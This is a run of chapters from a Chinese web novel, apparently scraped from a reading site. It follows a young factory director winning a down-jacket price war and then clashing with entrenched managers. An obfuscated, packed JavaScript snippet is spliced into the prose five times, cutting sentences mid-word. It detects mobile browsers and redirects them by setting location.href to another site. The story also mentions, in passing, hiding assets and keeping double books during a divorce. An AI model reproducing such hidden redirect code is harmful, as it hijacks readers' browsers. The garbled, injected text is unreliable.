江明映冷笑:“因为资本逐利。你是为了打赢我吗?Nate,你想想清楚,你往上爬,靠的是什么?” Nate想了半天:“难道不是杀了你吗,就像你杀了Charles一样?” “所以你是个蠢货。”江明映平静地说,“我能上来,靠的是我能帮客户赚钱。在客户眼中,你算什么?我又算什么?连条狗都不如。我们死不死的,根本没人在乎。” Nate恍然大悟。 江明映看着Nate:“你是我一手招进来、一手带出来的。你只看到我杀掉Charles,你有没有想过,你杀了我,然后打算怎么替宗先生赚钱呢?” Nate笑道:“我砍掉了你的收益,相当于降低了成本,这笔账我会算。” “实业,和金融,完全不同。制造业不是泡沫,而是实实在在要做出东西的。你不能用金融的思维来看待实业。”江明映说,“你账面的数字漂亮了,但你告诉我,你的东西在哪里?你怎么做出东西来?” Nate睁大颜色美丽的双眼。 他的微笑终于出现裂痕。 许久后,他说:“我可以……转移到马来西亚……”他的声音越来越低。 江明映反问:“你是觉得我没这么想过?你以为我们有选择?短期内,世界上根本没有任何一个地方可以替代罗桑县。中国制造就是最强大的。” Nate面色难看。 他无法否认。 江明映说:“所以你一直稳操胜券地想拖死我们,但你有没有想过,做实业,你的东西,去哪里做?” Nate沉默了很久。 他忽然笑起来:“说来说去,你不过偷换概念。我怕什么?我只要拖死你们,就有物美价廉的好东西了。” “可如果你无法再拖呢?” Nate冷笑:“没这个可能性。” “是吗?”江明映盯着他,忽然笑了。他的牙齿和Nate一样雪白。 正在这时,Nate的手机疯狂响起,对面都是贸易公司的人: “Nate,我们麻烦大了!” “我们惹**了零售终端!” …… 就在这一天,欧美的零售商店联起手来,态度激烈地公开指责对中国的贸易公司和买手,称他们搞恶意垄断,导致自己即将无货可卖。 …… “没有任何地方能够替代中国制造。”江明映没什么情绪地说,“所以,如果订单不能快速生产出来,就会导致终端的零售商无货可卖。如果你们不答应罗桑县的条件,那么在整条产业链上,从供应端,到零售终端,都会对中间的你们形成挤压之势。最后的结果,绝对不会是罗桑县死。” “而是你们死。” …… Nate安静了很久,面色煞白。 他强撑着说:“你就这么笃定,罗桑县全局一盘棋,没人私下偷偷降价?” 江明映反问:“乡村项目,最艰难的是什么?Charles是怎么失败的?我又是为了什么,在罗桑县大费周章,还开启了一段婚姻?” Nate下意识说:“封闭的地方关系。宗族,血缘,朋友……” 江明映说:“所以,依托于封闭的地方关系,罗桑县反而很容易变成‘一盘棋’。” Nate终于听懂了。他张大嘴。 “中国有句古话,阴阳相生,福祸相倚。封闭的地方关系,在有些情况下,是阻碍地方发展的根源;但在另一个层面,也刺激地方发展的集群效应。”江明映说。 他冷冷地看着他:“我警告你,Nate,收起你来自西方的傲慢和自负。自上而下的俯视,无法让你真正去了解一个地方,也无法让你真正理解一个地方的人。” “如果你始终怀揣着资本的傲慢,弯不下腰。”江明映坐在办公桌上,居高临下地盯着瘫坐在椅子上的白人,“你终将一败涂地。” …… Nate是个聪明人。 聪明人的意思是,处处以自己的利益为先。 他将谈判再一次拖延至4月上旬。 在此期间,欧美被迫切断了物美价廉的中国制造,零售终端无货可卖,公开指责贸易公司的浪潮一浪高过一浪。而罗桑县咬**涨价0.8美金,绝不妥协。 国内气温愈发升高,外贸公司和买手赌是罗桑县羽绒服当季变过季,扛不住内部大小工厂恐惧压货的压力,所以咬定砍价0.8美金,死不松口。 双方僵持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15430894|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下。 而就在双方僵持不下的紧要关头,本该作为贸易公司与买手们的谈判代表的Nate,不知缘何,从一场普通感冒逐渐转为高烧不退,在医院住了一周后,语气遗憾态度坚决地退出了本轮谈判。 关注这场谈判的无数方面一片哗然。 在外人看来,Nate不幸重病,失去了身价提升的机会; 可明眼人已经看出贸易公司的颓势,唾弃Nate爱惜自己羽毛,抛弃盟友。 对于贸易公司和买手而言,Nate的退出更是一个不祥的信号。 进入4月没多久,一款欧洲儿童羽绒服闹出丑闻,因为面料上织有闪片,闪片容易从衣服上脱落,导致儿童吞食。很快,欧盟宣布召回该纺织服装产品,并对儿童羽绒服面料展开全面排查,又陆陆续续召回16项产品,儿童运动羽绒服迅速出现大量供应缺口。 可零售商无货可售。 一时间,欧盟儿童羽绒服一货难求。 挡了零售商的财路,贸易公司和买手终于在产业链终端的怒吼中低下了高傲的头颅。 罗桑县与贸易公司和买手的谈判匆匆进行。 一场轰轰烈烈的谈判,虎头蛇尾,一个小时内,就结束了全部商谈。 “撂了一堆狠话,最后如同老人家放了个虚弱的响屁。”罗璇拔剑四顾心茫然,“我唇枪舌剑都准备好了,就这?” 这次要求罗桑县压价的,一共有7家大型贸易公司和12个买手。谈判结束后,全部买手与6家贸易公司同意了罗桑县的抬价要求。 只有一家是全球最大的男士运动服采购商,资本雄厚,因此公开表示“难以接受”。 这天,罗璇刚一回到罗桑县,就陷入五星红旗的海洋。商业街上,所有商店都把易拉宝摆在大门外,高高地贴着“欢迎罗厂长凯旋”字样。 罗桑县的机器轰轰烈烈地响起来,24小时轮转,彻夜不眠。大批大批新面料羽绒服迅速销往欧洲,又迅速被抢购一空。 此前表示“难以接受”的采购商明里暗里试探了罗璇几次。 终于,在4月30日这天,和罗桑县重新签署协议,同意从5月起,每件羽绒提价0.8美元,从10美元提价到10.8美元。 至此,罗桑县一役大胜。 第230章 给罗桑厂分红&一个官僚 订货的钱一到账,罗璇立刻力排众议,安排赵会计给供应商和大小工厂结算款项,给罗桑厂的工人们主持第一次分红。 负责款项的赵会计,正是与罗文彬林招娣合作几十年的老财务。 之前罗璇接管红星厂的时候,把很多老人送到广州去,其中就有赵会计。 入主罗桑厂的时候,罗璇力邀他来给自己做财务主管。赵会计拒绝了,说自己已经老了,应付不了太复杂的关系。 过了一段时间,罗璇的厂长做得有声有色,出乎所有人意料。于是,赵会计通过兰姨传话,试探罗璇,能不能回去给她干。 罗璇答应得很痛快,并主动给老头体面,亲自致电过去三请四请,又安排个小工人飞了趟广州接人。 赵会计顺水推舟。 “赵会计说,做生不如做熟。”兰姨说,“而且财务这个位置,你确确实实要有自己信得过的人。” 罗璇问:“兰姨,是广州的王厂长那边出了什么乱子吗?所以他想走?你还好吗?” “我们好极了,王厂长把工厂管得特别好,她带了我跑了好多趟韩国,拿了不少订单回来,国内国外都好卖,钞票呀哗啦哗啦地赚呐。” 罗璇松了口气:“你们过得好就好。王厂长老公回来没有?” 兰姨说完正事,立刻开始八卦:“王厂长正在起诉离婚!你还记不记得,她那个死鬼老公欠了一屁股债,跑了,留下孤儿寡母,债都是王俭妹在还。王厂长本来还想为了孩子跟他继续过,但……” “但她小孩心疼妈妈要求她离婚?但她自己幡然悔悟?”罗璇猜。 电视剧里不都这么演的吗? “……但我们爆了个单,那个月营收流水210万,王厂长立刻说,她老公这辈子都没本事赚这个钱,说明她牛逼,日后必然比她老公更牛逼,她要把那个死鬼踢开,不能让他分她赚的钱!” 分钱。 啊? 罗璇被这个转折弄得猝不及防:“等等。” “她老公还能分钱?” 兰姨继续绘声绘色:“当然,毕竟这家厂子,算起来,机器厂房都是老公婚前真金白银投过钱的。赵会计立刻劝王厂长转移财产,把账面做成亏损,要把钱牢牢攥在自己手里,没得凭空便宜了别人。于是王厂长找了个律师,一边起诉离婚,一边做两套账,赵会计又指点王厂长把赚来的钱先投到别的项目里去赚收益,用财报安抚债主晚还钱,打一个利滚利的时间差,账期至少拖足两个月……” 看来王厂长是真赚到钱了。 丝滑小连招一套一套的。 兰姨继续说:“就这样,赵会计迅速变成王厂长的心腹,王厂长原来的财务主管以为自己要丢饭碗了,但看你这边摊子越来越大,赵会计又说,他年纪大了,应付不了太复杂的关系,他只指路,把具体后续操作交给原本的财务主管,那人不晓得多感激他!那人的亲戚在新加坡做生意的,告诉赵会计,新加坡缺人,本科毕业就给pr,赵会计利用这份人情,当机立断就把自己孙女送去新加坡读大学……” 眼看着事情朝着越来越危险的方向滑去,罗璇哭笑不得:“好了,好了。知道你在替赵会计说话,我知道,赵会计是真专业。” 供一个留学生,也是真缺钱。她心里默默补充。 赵会计只有一个独生女,生了个孙女。女婿骑摩托拉货出车祸,断了条腿,后座的女儿当场**。男方家里打骂孙女是丧门星,赔钱货。赵会计上门探望,听见孙女说“以后赚钱给堂弟买房娶媳妇”,气得差点厥过去,纠结一众红星厂工人打上门去,把孙女抢回身边,红肉牛奶地喂着,从软软糯糯小可怜养成威风凛凛高中生,在罗桑县游泳队晒得黑亮,比罗璇更高更壮,赵会计得意极了,每逢酒后必传授“如何把孙女养到一米八”的经验,并激情分享“恶毒爷奶父伯叔几次上门要钱都被孙女迎头痛击”的故事。 此前,赵会计要求去广州,也是想着,以后让孙女去广州发展,他先去打个前站。如今他又替孙女看中了新加坡。 赵会计总说:“女人就要去大城市,大城市不吃女人。” 好一个精刮刮的老头子。 兰姨嘿嘿笑了:“小璇,你也结婚了,听兰姨一句劝,罗桑厂是在你手上做起来的,没得真金白银便宜了男人。钱啊,你得牢牢攥在自己手里才行。” “不过,既然赵会计去帮你了,我就放心了。” 罗璇明白兰姨的意思,应了声。 …… 赵会计落地之河,罗璇亲自开车去接。 考虑到代表罗桑厂,身份不同,她特意开了厂长专车,没开江明映送的那辆豪车。 老头早早等在酒店门口,他在南方晒得又黑又瘦,但两只眼睛锃亮。 见了面,第一句话,赵会计攥住罗璇的胳膊,啧啧道:“新加坡的税收是真低啊。罗厂长,出海吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432090|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我已经弄清楚,资金要怎么流动,能赚更多钱了!” 此话一出,罗璇感觉自己变成赵会计鱼塘里的鱼,被他高高钓起。 “叫我小罗。” “什么小罗,罗厂长!你们打贸易战,我可是一直有关注的。” 罗璇叹气:“赵会计,我这位置还没坐稳呢。” 赵会计围着罗璇的厂长专车,欣赏半晌:“好好好,30岁前能干到你这份上,就是好女人!”一连说了十几个“好”字。 上了车,他很满足地靠在半新不旧的座椅上,深深嗅闻:“这就是郑厂长他们坐过的车?”他用力拍打座椅。 罗璇提醒他:“车好久没洗。” 赵会计不在乎。 赵会计很满足。 他双目微闭,压低声音:“领导班子全是关系户吧,你是不是使唤不动?” 罗璇点头:“尤其是沈副厂长……唉!难搞得很!” “打了一仗,你的威望也还立不起来?” “我背后没人,资历又浅。”罗璇亲自开车,车里只有她和财务两人,说的都是私密话,“沈副厂长背后是一尊大佛。他现在专等着我下去,他好顶我的位置。” “他是怎样的?” 罗璇哼了声,很吝啬地使用形容词,借此表达自己对他的不屑:“五十多岁,绝不犯错的,老男人。” 顿了顿,她又加了个形容词: “一个官僚。” 精准且精妙。 赵会计了然:“就是宁可什么都不做,也绝对不会犯错的人?” 罗璇又哼了声:“实干家对上官僚,就是实干家倒霉。实干家多做多错,而官僚什么都不干,把全部精力都用在向上汇报上面,最后肯定是官僚更出彩。久而久之,劣币驱逐良币,组织内长满官僚,不做事,却有分配权,能拿走大部分利润……这个组织也就完蛋了。” “官僚就是泡沫,不创造价值,只依附于价值,但又浮得最高。”赵会计安慰罗璇,“我撒泡尿上面都有泡沫呢。” 罗璇噗嗤笑了。 她没忍住,多说了一句:“刚接手罗桑厂的时候,百废待兴,小满和万高大的葬礼还没办完,缩工缩产,一半工人返乡分流,留下的另一半工人情绪低落。戴县替我们主持第一次班子会,让大家说说救厂办法。你猜沈副厂长提出了什么建议?” “什么?” “严抓考勤!” 老头子,坏得很,笑得活像公鸡打鸣。 第231章 可恶,我要如何压住这些大佛 贸易战后第一次集体汇报,罗璇非常尴尬。 她手底下的班子里,塞满了关系户总监,打贸易战的时候一个个窝在后方不出力,只顾着发各种表格文件下去给手底下人翻来覆去地填,美其名曰“摸查”,把下面人折腾了一百八十轮后,贸易战一结束,立刻统计数据,把贸易战当成自己的工作业绩拼命汇报。 PPT做得无比精美。 贸易战变成了他们的业绩。 他们甚至还有内部建设成果。 一堆假大空的东西交上去,张东尧情商很高,神情淡然:“这间会议室里没电脑。” 谁料,总监们立刻喊人占领打印机,将ppt打印出来厚厚的好几叠,用异常精美的包装裹住一坨坨屎,直接打空了罗桑县政府一周的用纸量。 东西交到张东尧手里,他收了,转头就堆在一边,根本没拿给**看。 …… 汇报结束后,就是罗桑厂内部会议。 这天刚好是2009年5月4日,五四青年节。 万众瞩目的罗桑县贸易战终于打赢,罗璇认为,于情于理,都应该给大家下一场共同富裕的“**毛雨”。 即使不多,也是种激励。 更何况,为了赶制出这批外溢订单,全县加班加点,累得半死,罗桑厂人三班倒,罗桑县人守住了价格,于情于理,县里吃了大肉,要给大家分点汤喝。 罗璇早早提出激励计划,还贴在罗桑厂大门上。 如今,到了兑现的时候。 谁料,众总监沉默不语。 沈副厂长直接开口:“罗厂长,我反对。现在罗桑厂的情况,每笔钱都应该慎重对待,你这么草率地把钱分给下面人,必然要犯错。” 副厂长出了头,总监们纷纷跟上:“罗厂长,您是厂长,不晓得我们实际管理的难处。我们不对下面人狠,下面人就会对我们狠。” 罗璇被沈副厂长一个大招甩在脸上,深吸一口气,只听众人纷纷说: “等你到我们这个年纪你就知道了。” “你想事情太简单,想当然。” “你们八零后这一代啊,就是爱整花里胡哨的。” 罗璇还没说话,沈副厂长很不耐烦地伸手敲了敲桌子。众人纷乱的声音渐渐平息。 沈副厂长训斥众人:“控制一下情绪,对事不对人,你们这样子对罗厂长说话,是正确的态度吗?!你们这是犯错!!!” 会议室里安静了。 罗璇头痛地看着沈副厂长。 他正值壮年,白面方正,下颌角有个倔强的拐弯,连头发都修得一丝不苟,戴一副方方正正的细黑框眼镜。 此刻,他面前摆着一支笔、一个本,笔杆与本沿平行,笔尖和本头平齐。 沈副厂长转过头,这张方正的脸对着罗璇说:“有些话,不适合当众说,我提出的问题,请您回去好好想想。” 罗璇说:“这里没外人,您当众提就好。” 深吸一口气,沈副厂长打开笔记本,认真分析:“罗桑厂账面没钱,还在外面欠着供应商货款。那些欠款,欠着也就欠了,但账面没钱才是大问题。如今进来的订款,就应该留着发下个月工资,还要预着Q2和Q3(第二季度、第三季度)备料和周转。” 顿了顿,沈副厂长说:“我不认为现在的罗桑厂经济状况适合激进。我认为要稳扎稳打。” 会议室里的总监们纷纷赞同沈副厂长的言论。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434007|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,更多的是借着他的主张,提出自己的主意。 “就是,你怎么能给工人分钱呢!” “那些工人,知道钱是怎么回事吗,钱一拿到手,不是存着,就是往老家寄,或者被人骗,他们哪会用钱呐!与其发给他们,不如拿来做更有价值的事!” “反正他们也不消费,对社会没有促进作用。” “既然发钱他们不消费,还是苦哈哈的,那钱不如给企业。无论给不给他们钱,他们都不消费,都是苦哈哈的,那还不如不给。” 罗璇直视着这几人的眼睛,似笑非笑:“说起来,我自己倒是没打算拿Q1的分红。你们呢?” …… 会议室里突然一片死寂。 沈副厂长皱眉:“罗厂长,对于高管而言,分红就是工资。你没权力克扣大家伙的工资。规章制度上写得明明白白,高管按季度分红,你不给大家分,你扣留这笔资金,你就是犯错。” 下面的总监立刻说:“说句公道话,我们几个自从来了罗桑厂,哪个不是夜以继日地干?你查查考勤时间,这位,那位,带着下面人加了多少班!每天6点钟,工人下班,他带人开会!开会都要开到9点钟!” 另一个总监说:“我们的收入方式和工人不同,我们不赚月薪的,都是拿总包。这几个月,我们天天加班,只有一点点底薪,现在厂里不给我们开工资,是不是有点太苛刻了?” 罗璇正准备开口,却看到沈副厂长撸起袖子,对众人说:“怎么,不给工人发钱可以,不给自己发钱就不行?你们少曲解我的意思!一码归一码!无论是谁,工资该发就发,克扣工资就是犯错!” 会议室里又安静了。 第232章 查处假账&你要犯错误啊! 罗璇环顾四周。 “今天诸位坐在这里,除了我和沈副厂长。”她说,“每年每人的用人成本约50万。” 薪酬是罗璇来之前就定好的。 罗璇根基不稳,好像一个面对世家门阀无能为力的小皇帝。 “但你们各自的管理线条,第一季度的营收是多少,你们有没有赚够自己的人头费?”罗璇直接说,“把你们各自管理的业务线财报拿给我看看。” 众人面面相觑。 罗璇点了办公室主任的名,让他去拿出各业务线条汇报上来上的第一季度统计数据,又喊了财务的人过来,要求两边核算。 等待核算的功夫,罗璇暗搓搓刺了沈副厂长一句:“我没犯错吧?” 两人差了将近20岁,隔着代沟,沈副厂长压根没听出来罗璇在刺自己,以为她是在请教,立刻肯定:“用事实说话,你做得很对,我支持你!” 罗璇:“……谢谢。” 沈副厂长:“过誉。” 两边数据比对出来,罗璇对着电脑看,越看火越大。 各个业务线上交的财报,除了水份,就是重复统计,正利润还是罗璇拿到的羽绒服订单,每个人都把这部分营收算在了自己头上。 罗璇冷笑:“照这个算法,把在座各位创造的利润相加,能买下三座罗桑县。” …… 会议室里一片死寂。 罗璇正准备披露数据,沈副厂长直接开口:“茶歇五分钟。” 轰的一声,众人鸟兽散。 罗璇满肚子火无处发泄,气得嘲讽沈副厂长:“你这算不算犯错?” 沈副厂长冷笑:“若不是我制止你,你就要犯错了!” “我错在哪里?” 沈副厂长直接说:“罗厂长,很多事情,是不能摆在台面上说的。你要大家给你干活,就要给大家留面子。” “他们干了什么活?加的那些无意义的班?” “加班没有功劳总有苦劳。” “这苦劳纯折腾人,不如不要。” “罗厂长,您这样子只会寒了大家的心。” “我跟他们不是一个家。我们罗桑县全是工人,我和工人才是一家。” “你的站位错了。” “我只是就事论事。” “那我也只能反对你了。”沈副厂长说,“我也只是就事论事。” 茶歇结束,罗璇没给任何人留面子,直接披露数据,一个个让总监解释。 众人解释不了,每个人都很气愤。 沈副厂长直接在会上开口:“罗厂长,我知道你锐意进取,但很多为人处世的道理,你现在还不懂,等你多做几年厂长,你就懂了。” 罗璇平静地说:“那我还真不懂。在座诸君来到我们罗桑县,来到我们罗桑厂,原来不是为了把厂子办好,竟是为了为人处世的?” 顿了顿,她说:“原来我们办厂,不是为了让大家过上好日子?而是为了不出错?为了拿这块金元宝去镀金邀功?” 众人仿佛听到什么孩子话,冷笑连连。 有人直接讥讽:“哎呀呀,今天毕竟是五四青年节。青年人有志向,是好事啊。哈哈哈。” 罗璇直接说:“对,今天是五四青年节。所以,我觉得,我们对不起死去的先辈。如果我们这样做,说明我们的眼睛看不到真实的诉求,耳朵听不见真正的呼声,说明我们根本不关心。不关心社会,不关心城市,不关心乡村,不关心外面大街上那些普通人的生活,更不关心我们口口声声说着关心的青年。” 众人露出一点微妙的、忍耐的、想笑又不敢笑的神色。 沈副厂长没有。他始终面色执拗。 他斩钉截铁地提出自己的主张: “你错了。历来政策推行都是从上至下的。你关心低端人口,低端人口基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15434008|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数庞大,你怎么关心得过来?你我的分歧就在这里,你老是站在工人的立场上想问题,但你现在身份不一样了,想问题要从上而下想,你要做好顶层设计啊!苦一苦大家,是为了大局着想,大家现在勒紧裤腰带过苦日子,为的是以后的甜日子;既然钱不多,何必搞普惠**毛雨,直接让一部分人先多拿些钱,调动这部分人积极性,以后,再让这部分人带动另一部分人赚钱。这样,大家不就都有好日子过了吗!” 罗璇问:“那么,先给谁多拿钱呢?” “多劳多得,谁加班多,谁多拿钱。” “我记得,工人的工时,和行政人员是分开计算的。工人没有加班一说。” “那就没办法了。就算分钱,也得按照考勤规定来。”沈副厂长一板一眼地认真道,“做事必须有依据。得有规章制度。不然就是犯错!你要犯错啊罗厂长!” 但做事的规章制度,都是从前郑厂长那些人规定的。 想要改变,千难万难。 但这个世界上,斗转星移,水滴石穿,没有不能改变的事。 罗璇冷笑:“我是厂长,我怎么决定,是我的事。”她站起身,“我只是知会各位一声罢了。”她拂袖而去。 沈副厂长拍案而起:“你搞一言堂,你违背集体决策,你要犯错误!!!” “那你去告我。”罗璇回身,轻飘飘地说,“有本事,你去举报我啊。我等着。” …… 罗厂长未经过集体决策,擅自决定**用途,沈副厂长意见非常大。 他发誓要捍卫罗桑厂账上还没躺热乎的首款,坚决不能让罗璇挥霍了去,不能眼睁睁看着罗桑厂悲剧重现,不能被罗璇拖着犯错误! 别以为**罗厂长在打什么主意。 “擅用**,收买人心,用公家的钱,造自己的势!” 沈副厂长痛心疾首。 第233章 罗璇被表彰又受采访&沈副厂长告状记 自从确认了“地方政府跟踪监管”方针以后,赵**就非常关心罗桑厂的一举一动。 提价后的羽绒服,被人们戏称为老母鸡下了“金蛋”。 于是,第一件羽绒服从流水线出货这天,罗璇搞了个小小的砸金蛋仪式,赵**亲自到罗桑厂视察,与工人同乐。 罗璇作为厂长,礼貌地和赵**握手。 这些天她跟着工人三班倒,吃住在厂里,头发三天没洗,油得不行。 趁着赵**来之前的当口,她急忙去洗了个头,此刻头发半干不湿地披在肩膀,素颜抹了点口红,就算化过妆了。 车间里闷热,她穿了一件蓝色连衣裙,看起来颇为正式,但其实用的是网球裙的面料,轻薄透气,裙摆随着走动起起伏伏。 就是长度……看在沈副厂长眼里,没过膝盖,有点短。 不得体! 沈副厂长则穿了件低调的黑色夹克,看见罗璇,忍了又忍。 忍不住。 他把罗璇扯到旁边,痛心疾首地压低声音:“罗厂长,你这么穿,太不得体了,你是要犯错啊!” 正说着,赵**带了记者来,罗璇上前迎接。 闪光灯亮了好半天。 赵**指着罗璇对记者表扬,说罗厂长是罗桑县自己培养出来的优秀青年干部,非常有经营头脑,肯干苦干,把一个快死的厂子盘活,拉升本年全县经济。 作陪的总监们听得不是很舒服。 罗桑厂成功打赢贸易战,盘活全厂经济,靠的是集体决策与共同努力,如今怎么赵**的话里话外,功劳全是罗璇一个人的? 罗璇也没推辞? 有人撇嘴,悄悄对沈副厂长说:“沈厂,罗厂把功劳全算在自己头上了。” “……她也太会抢功了吧。” “注意你的表情!记者在!”沈副厂长挡住他的脸,竖眉训斥,“你说这种话,被人听见了,就是给罗桑县犯错!” 那总监虽然不听罗璇的,但还算听沈副厂长的。谁让人家背景大呢。 于是不情不愿地住了嘴。 …… 第一件羽绒服从生产线缓缓转出,金蛋“啪”地砸碎,赵**满脸笑容,罗璇在生产线上扑来扑去地介绍,裙子飞来飞去。 沈副厂长眉毛皱成一团,怎么看她都要走光。 罗璇介绍过以后,又对着镜头,把一些生产线上常用的小工具塞进裙子里面——哦,裙子里面有贴腿的同色安全裤,裤子两边有口袋,开口朝下,带着松紧绳。直接把东西从下往上就能塞进口袋里,抽绳一紧,无论她怎么扑,都掉不出来。裙子是带着飞摆的,底下鼓鼓囊囊,塞多少东西也看不大出来。 她竟然撩裙摆—— 不得体,不庄重!沈副厂长又瞪了罗璇一眼,抢到她身前,用身体挡住她。 赵**拍拍沈副厂长,示意他走到一边说话:“你很支持罗厂长嘛。” 沈副厂长皱眉,压低声音,话里有话:“赵**,为了支持罗厂长,我们罗桑厂账面的钱,还没捂热乎,就要用光啦。” 老戴直接说:“扯淡,罗桑厂那破账连裤衩子都没穿一条,本来就光屁股,罗璇还能扒下来啥?” 赵**没说话,若有所思。 记者离得不算远,沈副厂长看了眼记者,不想被听了去,也没再说话。 …… 赵**兴致高昂地给记者介绍各个生产线与产品,指着罗璇身上的裙子,把运动服面料的正装裙讲了又讲,又说了好半天北京奥运会引发的全民健身热潮,最后说,中国制造世界一流,罗桑县制造质量过硬! 说完以后,赵**提醒记者:“罗桑县制造质量过硬,要着重强调。” 记者是带着**任务来的,当即比了个“OK”的手势。 镜头频频扫到罗璇身上。 罗璇人如起名,始终没停下,不是在这里乱窜,就是在那里蹲起。 记者说:“我看着裙子完全不影响活动。” 赵**笑眯眯地应下:“而且非常美观大方。” 罗璇个高腿长,虽然不瘦不白也没化妆,但有股带着精气神的昂扬之气,看着就一身使不完的牛劲。 沈副厂长不得不承认,是很好看的。 就是不得体、不庄重。 他看得眼睛疼。 结束了谈话,当着记者的面,沈副厂长很得体庄重地笑着说:“老**,大海航行靠舵手,罗桑厂的死而复生,全靠您这届班子领导得好!” 赵**不客气道:“别拍马屁啦!全靠罗厂长!我老了,未来要交给年轻人!你说大海航行靠舵手,但这破海的船是谁造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没人想出错,但问题就在那里,总得有人来解决。 赵**一连说了三个“好”字: “你干得真不错!” 一锤定音。 第234章 赵**卖货&林招娣淘宝店爆单 赵**参观结束,老戴去送记者离开,赵**很亲民地与众人闲话。 一阵风吹过,罗璇的裙摆轻飘飘地拂动。 沈副厂长忍了又忍,私下劝道:“罗厂长,下次再有这样的场合,你不要再穿这样的衣服。” 罗璇没理他。 谁料,小小的一句话,被赵**听到。 赵**走过来,拍了拍他的肩膀,似是开玩笑,又似责怪:“老沈,那你为什么不穿罗桑县做的衣服?” 沈副厂长一板一眼:“老**,这是正式场合,要穿正装。罗桑县是做运动装的。” 赵**又说:“你看罗厂长身上的裙子,像运动装吗?” 不像。 沈副厂长恍然,似是懂了,又似是没懂。 赵**拍了拍他:“我们罗桑县不能被困在‘世界运动服之都’的名头里。外贸难做,就转内销,产业总要升级。如果我们罗桑县做的衣服,我们的干部自己都不穿、不爱、不宣传,我们还怎么转内销?” 这话没错,可是…… 沈副厂长还是没懂,但沈副厂长说:“好的。” …… 赵**准备离开,在车前和罗桑厂众人握手告别。 握到沈副厂长的时候,赵**依旧带着笑,只是手上的力道重了重:“老沈,我知道你端方,满心顾全大局。” 沈副厂长笑道:“老**,您过奖!” 赵**话锋一转:“但国家需要的是人才,不是奴才。不出错固然好,但事情总要有人来做。不做事,就是最大的错!你说是不是?” 他严肃地盯着沈副厂长看。 半晌,沈副厂长擦着额头的冷汗,垂眼道:“是,是,赵**!” …… 赵**的话,让沈副厂长暗自揣摩了很久。 从罗厂长那件不得体的短裙,说到罗桑县要走内销,究竟是什么意思? 沈副厂长没想明白,直到记者的报道见诸于之河日报,又迅速被各大报纸转载,那条蓝色网球裙作为今夏主打款,一下子迎来大量订单,他才终于想明白。 他又急忙买来报纸仔细研究。 这么研究下来,他才看清楚赵**这场参观的深意。 卖货! 沈副厂长把报纸丢在一边,长长叹息:“难怪我吃了挂落,原来小罗厂长才猜中上头的心思,真是**人心的高手,**挑一的聪明人!” 赵**请来的这位记者与罗桑县合作多年,专跑**线,经验丰富,为人通透。她拍照片,把罗璇身上的深蓝色网球裙拍得特别漂亮,又花了若干篇幅介绍这条裙子行动多么自如,口袋多么能装…… 当然这些都不重要。 重要的是这句。 “罗厂长体重125斤,女装要穿中码、大码,穿这条裙子,视觉上轻盈得像90斤……” 林招娣把这句话原封不动地放在自己的淘宝网店详情展示页第一行,加黑加粗高亮,这条裙子直接爆了。 就在罗桑县迎来大量订单的同时,林招娣借势而起,红星厂的淘宝网店一飞冲天。 …… 罗桑县正在寻求产业升级的路子,林招娣的淘宝店爆了单,听闻几天就赚了别人一年收入,消息瞬间传遍整个罗桑县。 商会专门邀请林招娣前来给大家做讲座、分享经验。 当然,一方面因为大家有对赚钱的迫切需求;另一方面,她是当下风头最劲的罗厂长的亲妈。 罗桑县本来就是人情套人情、关系叠关系的地方。 自从罗璇抢了红星厂以后,林招娣被她流放到上海去养病,除了舅舅林国栋葬礼那几天,养好了也没让她回来,又给她安排疗养院,上海待腻了就去云南,去内蒙古,去甘肃,总之不许她踏入罗桑县一步,流放得明明白白。 罗桑县没有秘密,这点事大家都知道。 